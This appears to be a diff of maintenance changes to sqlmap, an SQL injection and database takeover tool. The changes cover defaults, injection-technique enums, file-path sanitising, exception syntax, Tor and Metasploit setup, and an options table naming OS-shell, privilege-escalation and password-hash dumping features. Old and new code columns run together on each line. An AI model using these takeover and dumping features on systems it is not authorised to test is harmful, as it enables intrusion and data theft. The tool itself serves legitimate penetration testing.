def singleTimeWarnMessage(message): # Cross-linked function def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message) sys.stdout.write(message)
sys.stdout.write("\n") sys.stdout.write("\n")
sys.stdout.flush() sys.stdout.flush()
+14 -14
View File
@@ -8,20 +8,20 @@ See the file 'LICENSE' for copying permission
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
_defaults = { _defaults = {
"csvDel": ',', "csvDel": ',',
"timeSec": 5, "timeSec": 5,
"googlePage": 1, "googlePage": 1,
"verbose": 1, "verbose": 1,
"delay": 0, "delay": 0,
"timeout": 30, "timeout": 30,
"retries": 3, "retries": 3,
"saFreq": 0, "saFreq": 0,
"threads": 1, "threads": 1,
"level": 1, "level": 1,
"risk": 1, "risk": 1,
"dumpFormat": "CSV", "dumpFormat": "CSV",
"tech": "BEUSTQ", "tech": "BEUSTQ",
"torType": "SOCKS5", "torType": "SOCKS5",
} }
defaults = AttribDict(_defaults) defaults = AttribDict(_defaults)
+44 -38
View File
@@ -208,54 +208,60 @@ FROM_DUMMY_TABLE = {
} }
SQL_STATEMENTS = { SQL_STATEMENTS = {
"SQL SELECT statement": ( "SQL SELECT statement": (
"select ", "select ",
"show ", "show ",
" top ", " top ",
" distinct ", " distinct ",
" from ", " from ",
" from dual", " from dual",
" where ", " where ",
" group by ", " group by ",
" order by ", " order by ",
" having ", " having ",
" limit ", " limit ",
" offset ", " offset ",
" union all ", " union all ",
" rownum as ", " rownum as ",
"(case ", ), "(case ",
),
"SQL data definition": ( "SQL data definition": (
"create ", "create ",
"declare ", "declare ",
"drop ", "drop ",
"truncate ", "truncate ",
"alter ", ), "alter ",
),
"SQL data manipulation": ( "SQL data manipulation": (
"bulk ", "bulk ",
"insert ", "insert ",
"update ", "update ",
"delete ", "delete ",
"merge ", "merge ",
"load ", ), "load ",
),
"SQL data control": ( "SQL data control": (
"grant ", "grant ",
"revoke ", ), "revoke ",
),
"SQL data execution": ( "SQL data execution": (
"exec ", "exec ",
"execute ", "execute ",
"values ", "values ",
"call ", ), "call ",
),
"SQL transaction": ( "SQL transaction": (
"start transaction ", "start transaction ",
"begin work ", "begin work ",
"begin transaction ", "begin transaction ",
"commit ", "commit ",
"rollback ", ), "rollback ",
),
} }
POST_HINT_CONTENT_TYPES = { POST_HINT_CONTENT_TYPES = {
+9 -8
View File
@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic from thirdparty.magic import magic
@@ -414,16 +415,16 @@ class Dump(object):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
try: try:
os.makedirs(dumpDbPath, 0755) os.makedirs(dumpDbPath)
except: except:
warnFile = True warnFile = True
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
try: try:
os.makedirs(dumpDbPath, 0755) os.makedirs(dumpDbPath)
except Exception, ex: except Exception, ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapdb") tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +442,7 @@ class Dump(object):
dumpDbPath = tempDir dumpDbPath = tempDir
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False): if not checkFile(dumpFileName, False):
try: try:
openFile(dumpFileName, "w+b").close() openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
except: except:
warnFile = True warnFile = True
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table))) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table))) _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else: else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -611,9 +612,9 @@ class Dump(object):
mimetype = magic.from_buffer(value, mime=True) mimetype = magic.from_buffer(value, mime=True)
if any(mimetype.startswith(_) for _ in ("application", "image")): if any(mimetype.startswith(_) for _ in ("application", "image")):
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755) os.makedirs(dumpDbPath)
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column))) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
logger.warn(warnMsg) logger.warn(warnMsg)
+37 -28
View File
@@ -22,6 +22,15 @@ class SORT_ORDER:
FIFTH = 4 FIFTH = 4
LAST = 100 LAST = 100
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS:
NOTSET = 0
DEBUG = 10
INFO = 20
WARNING = 30
ERROR = 40
CRITICAL = 50
class DBMS: class DBMS:
ACCESS = "Microsoft Access" ACCESS = "Microsoft Access"
DB2 = "IBM DB2" DB2 = "IBM DB2"
@@ -233,40 +242,40 @@ class REDIRECTION:
class PAYLOAD: class PAYLOAD:
SQLINJECTION = { SQLINJECTION = {
1: "boolean-based blind", 1: "boolean-based blind",
2: "error-based", 2: "error-based",
3: "inline query", 3: "inline query",
4: "stacked queries", 4: "stacked queries",
5: "AND/OR time-based blind", 5: "AND/OR time-based blind",
6: "UNION query", 6: "UNION query",
} }
PARAMETER = { PARAMETER = {
1: "Unescaped numeric", 1: "Unescaped numeric",
2: "Single quoted string", 2: "Single quoted string",
3: "LIKE single quoted string", 3: "LIKE single quoted string",
4: "Double quoted string", 4: "Double quoted string",
5: "LIKE double quoted string", 5: "LIKE double quoted string",
} }
RISK = { RISK = {
0: "No risk", 0: "No risk",
1: "Low risk", 1: "Low risk",
2: "Medium risk", 2: "Medium risk",
3: "High risk", 3: "High risk",
} }
CLAUSE = { CLAUSE = {
0: "Always", 0: "Always",
1: "WHERE", 1: "WHERE",
2: "GROUP BY", 2: "GROUP BY",
3: "ORDER BY", 3: "ORDER BY",
4: "LIMIT", 4: "LIMIT",
5: "OFFSET", 5: "OFFSET",
6: "TOP", 6: "TOP",
7: "Table name", 7: "Table name",
8: "Column name", 8: "Column name",
} }
class METHOD: class METHOD:
COMPARISON = "comparison" COMPARISON = "comparison"
+27 -21
View File
@@ -337,7 +337,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
if not host: if not host:
errMsg = "invalid format of a request file" errMsg = "invalid format of a request file"
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
if not url.startswith("http"): if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
@@ -402,7 +402,7 @@ def _loadQueries():
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
for node in tree.findall("*"): for node in tree.findall("*"):
queries[node.attrib['value']] = iterate(node) queries[node.attrib['value']] = iterate(node)
@@ -687,7 +687,7 @@ def _setMetasploit():
if IS_WIN: if IS_WIN:
try: try:
import win32file __import__("win32file")
except ImportError: except ImportError:
errMsg = "sqlmap requires third-party module 'pywin32' " errMsg = "sqlmap requires third-party module 'pywin32' "
errMsg += "in order to use Metasploit functionalities on " errMsg += "in order to use Metasploit functionalities on "
@@ -700,7 +700,7 @@ def _setMetasploit():
retVal = None retVal = None
try: try:
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
_ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
_ = OpenKey(_, key) _ = OpenKey(_, key)
retVal = QueryValueEx(_, value)[0] retVal = QueryValueEx(_, value)[0]
@@ -931,7 +931,7 @@ def _setTamperingFunctions():
try: try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except (ImportError, SyntaxError), ex: except Exception, ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -1046,7 +1046,7 @@ def _setSocketPreConnect():
if conf.disablePrecon: if conf.disablePrecon:
return return
def _(): def _thread():
while kb.get("threadContinue") and not conf.get("disablePrecon"): while kb.get("threadContinue") and not conf.get("disablePrecon"):
try: try:
for key in socket._ready: for key in socket._ready:
@@ -1078,6 +1078,7 @@ def _setSocketPreConnect():
break break
else: else:
try: try:
candidate.shutdown(socket.SHUT_RDWR)
candidate.close() candidate.close()
except socket.error: except socket.error:
pass pass
@@ -1090,7 +1091,7 @@ def _setSocketPreConnect():
socket.socket._connect = socket.socket.connect socket.socket._connect = socket.socket.connect
socket.socket.connect = connect socket.socket.connect = connect
thread = threading.Thread(target=_) thread = threading.Thread(target=_thread)
setDaemon(thread) setDaemon(thread)
thread.start() thread.start()
@@ -1127,7 +1128,7 @@ def _setHTTPHandlers():
_ = urlparse.urlsplit(conf.proxy) _ = urlparse.urlsplit(conf.proxy)
except Exception, ex: except Exception, ex:
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
hostnamePort = _.netloc.split(":") hostnamePort = _.netloc.split(":")
@@ -1254,7 +1255,7 @@ def _setSafeVisit():
kb.safeReq.post = None kb.safeReq.post = None
else: else:
errMsg = "invalid format of a safe request file" errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
else: else:
if not re.search(r"\Ahttp[s]*://", conf.safeUrl): if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl: if ":443/" in conf.safeUrl:
@@ -1579,7 +1580,7 @@ def _createTemporaryDirectory():
except (OSError, IOError), ex: except (OSError, IOError), ex:
errMsg = "there has been a problem while accessing " errMsg = "there has been a problem while accessing "
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
else: else:
try: try:
if not os.path.isdir(tempfile.gettempdir()): if not os.path.isdir(tempfile.gettempdir()):
@@ -1606,7 +1607,7 @@ def _createTemporaryDirectory():
except (OSError, IOError, WindowsError), ex: except (OSError, IOError, WindowsError), ex:
errMsg = "there has been a problem while setting " errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex) errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
def _cleanupOptions(): def _cleanupOptions():
""" """
@@ -1647,7 +1648,10 @@ def _cleanupOptions():
conf.rParam = [] conf.rParam = []
if conf.paramDel and '\\' in conf.paramDel: if conf.paramDel and '\\' in conf.paramDel:
conf.paramDel = conf.paramDel.decode("string_escape") try:
conf.paramDel = conf.paramDel.decode("string_escape")
except ValueError:
pass
if conf.skip: if conf.skip:
conf.skip = conf.skip.replace(" ", "") conf.skip = conf.skip.replace(" ", "")
@@ -1784,8 +1788,8 @@ def _cleanupOptions():
if conf.col: if conf.col:
conf.col = re.sub(r"\s*,\s*", ',', conf.col) conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.excludeCol: if conf.exclude:
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol) conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
if conf.binaryFields: if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1941,6 +1945,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forcePartialUnion = False kb.forcePartialUnion = False
kb.forceWhere = None kb.forceWhere = None
kb.futileUnion = None kb.futileUnion = None
kb.heavilyDynamic = False
kb.headersFp = {} kb.headersFp = {}
kb.heuristicDbms = None kb.heuristicDbms = None
kb.heuristicExtendedDbms = None kb.heuristicExtendedDbms = None
@@ -2034,6 +2039,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.uChar = NULL kb.uChar = NULL
kb.unionDuplicates = False kb.unionDuplicates = False
kb.wafSpecificResponse = None kb.wafSpecificResponse = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False kb.xpCmdshellAvailable = False
if flushAll: if flushAll:
@@ -2115,6 +2121,8 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n") dataToStdout("\nsqlmap is running, please wait..\n\n")
kb.wizardMode = True
def _saveConfig(): def _saveConfig():
""" """
Saves the command line options to a sqlmap configuration INI file Saves the command line options to a sqlmap configuration INI file
@@ -2309,7 +2317,6 @@ def _setTorHttpProxySettings():
errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg = "can't establish connection with the Tor HTTP proxy. "
errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "Please make sure that you have Tor (bundle) installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' " errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
if not conf.checkTor: if not conf.checkTor:
@@ -2330,7 +2337,6 @@ def _setTorSocksProxySettings():
errMsg = "can't establish connection with the Tor SOCKS proxy. " errMsg = "can't establish connection with the Tor SOCKS proxy. "
errMsg += "Please make sure that you have Tor service installed and setup " errMsg += "Please make sure that you have Tor service installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' " errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2343,7 +2349,7 @@ def _checkWebSocket():
from websocket import ABNF from websocket import ABNF
except ImportError: except ImportError:
errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg = "sqlmap requires third-party module 'websocket-client' "
errMsg += "in order to use WebSocket funcionality" errMsg += "in order to use WebSocket functionality"
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
def _checkTor(): def _checkTor():
@@ -2535,11 +2541,11 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.checkTor and not any((conf.tor, conf.proxy)): if conf.checkTor and not any((conf.tor, conf.proxy)):
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
errMsg = "value for option '--tor-port' must be in range 0-65535" errMsg = "value for option '--tor-port' must be in range [0, 65535]"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2584,9 +2590,9 @@ def _basicOptionValidation():
if conf.encoding: if conf.encoding:
_ = checkCharEncoding(conf.encoding, False) _ = checkCharEncoding(conf.encoding, False)
if _ is None: if _ is None:
errMsg = "unknown charset '%s'. Please visit " % conf.encoding errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
errMsg += "supported charsets" errMsg += "supported encodings"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
else: else:
conf.encoding = _ conf.encoding = _
+235 -233
View File
@@ -6,250 +6,252 @@ See the file 'LICENSE' for copying permission
""" """
optDict = { optDict = {
# Format: # Family: {"parameter name": "parameter datatype"},
# Family: { "parameter name": "parameter datatype" }, # --OR--
# Or: # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
# Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") },
"Target": {
"direct": "string",
"url": "string",
"logFile": "string",
"bulkFile": "string",
"requestFile": "string",
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
"Request": { "Target": {
"method": "string", "direct": "string",
"data": "string", "url": "string",
"paramDel": "string", "logFile": "string",
"cookie": "string", "bulkFile": "string",
"cookieDel": "string", "requestFile": "string",
"loadCookies": "string", "sessionFile": "string",
"dropSetCookie": "boolean", "googleDork": "string",
"agent": "string", "configFile": "string",
"randomAgent": "boolean", "sitemapUrl": "string",
"host": "string", },
"referer": "string",
"headers": "string",
"authType": "string",
"authCred": "string",
"authFile": "string",
"ignoreCode": "integer",
"ignoreProxy": "boolean",
"ignoreRedirects": "boolean",
"ignoreTimeouts": "boolean",
"proxy": "string",
"proxyCred": "string",
"proxyFile": "string",
"tor": "boolean",
"torPort": "integer",
"torType": "string",
"checkTor": "boolean",
"delay": "float",
"timeout": "float",
"retries": "integer",
"rParam": "string",
"safeUrl": "string",
"safePost": "string",
"safeReqFile": "string",
"safeFreq": "integer",
"skipUrlEncode": "boolean",
"csrfToken": "string",
"csrfUrl": "string",
"forceSSL": "boolean",
"hpp": "boolean",
"evalCode": "string",
},
"Optimization": { "Request": {
"optimize": "boolean", "method": "string",
"predictOutput": "boolean", "data": "string",
"keepAlive": "boolean", "paramDel": "string",
"nullConnection": "boolean", "cookie": "string",
"threads": "integer", "cookieDel": "string",
}, "loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
"randomAgent": "boolean",
"host": "string",
"referer": "string",
"headers": "string",
"authType": "string",
"authCred": "string",
"authFile": "string",
"ignoreCode": "integer",
"ignoreProxy": "boolean",
"ignoreRedirects": "boolean",
"ignoreTimeouts": "boolean",
"proxy": "string",
"proxyCred": "string",
"proxyFile": "string",
"tor": "boolean",
"torPort": "integer",
"torType": "string",
"checkTor": "boolean",
"delay": "float",
"timeout": "float",
"retries": "integer",
"rParam": "string",
"safeUrl": "string",
"safePost": "string",
"safeReqFile": "string",
"safeFreq": "integer",
"skipUrlEncode": "boolean",
"csrfToken": "string",
"csrfUrl": "string",
"forceSSL": "boolean",
"hpp": "boolean",
"evalCode": "string",
},
"Injection": { "Optimization": {
"testParameter": "string", "optimize": "boolean",
"skip": "string", "predictOutput": "boolean",
"skipStatic": "boolean", "keepAlive": "boolean",
"paramExclude": "string", "nullConnection": "boolean",
"dbms": "string", "threads": "integer",
"dbmsCred": "string", },
"os": "string",
"invalidBignum": "boolean",
"invalidLogical": "boolean",
"invalidString": "boolean",
"noCast": "boolean",
"noEscape": "boolean",
"prefix": "string",
"suffix": "string",
"tamper": "string",
},
"Detection": { "Injection": {
"level": "integer", "testParameter": "string",
"risk": "integer", "skip": "string",
"string": "string", "skipStatic": "boolean",
"notString": "string", "paramExclude": "string",
"regexp": "string", "dbms": "string",
"code": "integer", "dbmsCred": "string",
"textOnly": "boolean", "os": "string",
"titles": "boolean", "invalidBignum": "boolean",
}, "invalidLogical": "boolean",
"invalidString": "boolean",
"noCast": "boolean",
"noEscape": "boolean",
"prefix": "string",
"suffix": "string",
"tamper": "string",
},
"Techniques": { "Detection": {
"tech": "string", "level": "integer",
"timeSec": "integer", "risk": "integer",
"uCols": "string", "string": "string",
"uChar": "string", "notString": "string",
"uFrom": "string", "regexp": "string",
"dnsDomain": "string", "code": "integer",
"secondOrder": "string", "textOnly": "boolean",
}, "titles": "boolean",
},
"Fingerprint": { "Techniques": {
"extensiveFp": "boolean", "tech": "string",
}, "timeSec": "integer",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
"dnsDomain": "string",
"secondOrder": "string",
},
"Enumeration": { "Fingerprint": {
"getAll": "boolean", "extensiveFp": "boolean",
"getBanner": ("boolean", "Banners"), },
"getCurrentUser": ("boolean", "Users"),
"getCurrentDb": ("boolean", "Databases"),
"getHostname": "boolean",
"isDba": "boolean",
"getUsers": ("boolean", "Users"),
"getPasswordHashes": ("boolean", "Passwords"),
"getPrivileges": ("boolean", "Privileges"),
"getRoles": ("boolean", "Roles"),
"getDbs": ("boolean", "Databases"),
"getTables": ("boolean", "Tables"),
"getColumns": ("boolean", "Columns"),
"getSchema": "boolean",
"getCount": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"search": "boolean",
"getComments": "boolean",
"db": "string",
"tbl": "string",
"col": "string",
"excludeCol": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlFile": "string",
},
"Brute": { "Enumeration": {
"commonTables": "boolean", "getAll": "boolean",
"commonColumns": "boolean", "getBanner": ("boolean", "Banners"),
}, "getCurrentUser": ("boolean", "Users"),
"getCurrentDb": ("boolean", "Databases"),
"getHostname": "boolean",
"isDba": "boolean",
"getUsers": ("boolean", "Users"),
"getPasswordHashes": ("boolean", "Passwords"),
"getPrivileges": ("boolean", "Privileges"),
"getRoles": ("boolean", "Roles"),
"getDbs": ("boolean", "Databases"),
"getTables": ("boolean", "Tables"),
"getColumns": ("boolean", "Columns"),
"getSchema": "boolean",
"getCount": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"search": "boolean",
"getComments": "boolean",
"db": "string",
"tbl": "string",
"col": "string",
"exclude": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlFile": "string",
},
"User-defined function": { "Brute": {
"udfInject": "boolean", "commonTables": "boolean",
"shLib": "string", "commonColumns": "boolean",
}, },
"File system": { "User-defined function": {
"rFile": "string", "udfInject": "boolean",
"wFile": "string", "shLib": "string",
"dFile": "string", },
},
"Takeover": { "File system": {
"osCmd": "string", "rFile": "string",
"osShell": "boolean", "wFile": "string",
"osPwn": "boolean", "dFile": "string",
"osSmb": "boolean", },
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
"Windows": { "Takeover": {
"regRead": "boolean", "osCmd": "string",
"regAdd": "boolean", "osShell": "boolean",
"regDel": "boolean", "osPwn": "boolean",
"regKey": "string", "osSmb": "boolean",
"regVal": "string", "osBof": "boolean",
"regData": "string", "privEsc": "boolean",
"regType": "string", "msfPath": "string",
}, "tmpPath": "string",
},
"General": { "Windows": {
#"xmlFile": "string", "regRead": "boolean",
"trafficFile": "string", "regAdd": "boolean",
"batch": "boolean", "regDel": "boolean",
"binaryFields": "string", "regKey": "string",
"charset": "string", "regVal": "string",
"checkInternet": "boolean", "regData": "string",
"crawlDepth": "integer", "regType": "string",
"crawlExclude": "string", },
"csvDel": "string",
"dumpFormat": "string",
"encoding": "string",
"eta": "boolean",
"flushSession": "boolean",
"forms": "boolean",
"freshQueries": "boolean",
"harFile": "string",
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
"testSkip": "string",
"updateAll": "boolean",
},
"Miscellaneous": { "General": {
"alert": "string", # "xmlFile": "string",
"answers": "string", "trafficFile": "string",
"beep": "boolean", "batch": "boolean",
"cleanup": "boolean", "binaryFields": "string",
"dependencies": "boolean", "charset": "string",
"disableColoring": "boolean", "checkInternet": "boolean",
"googlePage": "integer", "crawlDepth": "integer",
"identifyWaf": "boolean", "crawlExclude": "string",
"mobile": "boolean", "csvDel": "string",
"offline": "boolean", "dumpFormat": "string",
"purgeOutput": "boolean", "encoding": "string",
"skipWaf": "boolean", "eta": "boolean",
"smart": "boolean", "flushSession": "boolean",
"tmpDir": "string", "forms": "boolean",
"webRoot": "string", "freshQueries": "boolean",
"wizard": "boolean", "harFile": "string",
"verbose": "integer", "hexConvert": "boolean",
}, "outputDir": "string",
"Hidden": { "parseErrors": "boolean",
"dummy": "boolean", "saveConfig": "string",
"disablePrecon": "boolean", "scope": "string",
"profile": "boolean", "testFilter": "string",
"forceDns": "boolean", "testSkip": "string",
"murphyRate": "integer", "updateAll": "boolean",
"smokeTest": "boolean", },
"liveTest": "boolean",
"stopFail": "boolean", "Miscellaneous": {
"runCase": "string", "alert": "string",
}, "answers": "string",
"API": { "beep": "boolean",
"api": "boolean", "cleanup": "boolean",
"taskid": "string", "dependencies": "boolean",
"database": "string", "disableColoring": "boolean",
} "googlePage": "integer",
} "identifyWaf": "boolean",
"mobile": "boolean",
"offline": "boolean",
"purgeOutput": "boolean",
"skipWaf": "boolean",
"smart": "boolean",
"tmpDir": "string",
"webRoot": "string",
"wizard": "boolean",
"verbose": "integer",
},
"Hidden": {
"dummy": "boolean",
"disablePrecon": "boolean",
"profile": "boolean",
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
"runCase": "string",
},
"API": {
"api": "boolean",
"taskid": "string",
"database": "string",
}
}
+1 -1
View File
@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
""" """
try: try:
__import__("gobject")
from thirdparty.gprof2dot import gprof2dot from thirdparty.gprof2dot import gprof2dot
from thirdparty.xdot import xdot from thirdparty.xdot import xdot
import gobject
import gtk import gtk
import pydot import pydot
except ImportError, e: except ImportError, e:
+16 -8
View File
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.2" VERSION = "1.2.4.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
